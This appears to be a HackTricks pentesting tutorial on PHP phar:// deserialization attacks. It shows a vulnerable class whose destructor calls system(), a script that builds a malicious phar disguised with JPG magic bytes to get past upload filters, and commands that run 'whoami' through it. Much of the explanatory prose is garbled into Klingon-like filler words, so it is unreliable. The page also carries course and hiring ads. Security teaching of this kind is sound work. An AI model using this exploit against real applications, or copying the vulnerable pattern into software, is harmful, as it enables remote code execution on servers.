hacktricks/pentesting-web/file-inclusion/phar-deserialization.md
2024-02-10 17:52:19 +00:00

4.9 KiB

phar:// Deserialization

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

{% embed url="https://www.stmcyber.com/careers" %}

Phar files (PHP Archive) files contain meta data in serialized format, so, when parsed, this metadata is deserialized and you can try to abuse a deserialization vulnerability inside the PHP code.

The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize().

So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the phar:// protocol, and inside the code you find a class similar to the following one:

{% code title="vunl.php" %}

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

{% endcode %}

phar file vItlhutlh abuse vItlhutlh class vItlhutlh execute arbitrary commands vItlhutlh create_phar.php vItlhutlh something like:

{% code title="create_phar.php" %}

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

{% endcode %}

JPG (\xff\xd8\xff) magic bytes ghItlh phar file bI'el bypass possible file uploads restrictions ghItlh.
Compile test.phar file ghItlh:

php --define phar.readonly=0 create_phar.php

'ej whoami command vItlhutlh vulnerable code vItlhutlh.

php vuln.php

References

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

{% embed url="https://www.stmcyber.com/careers" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: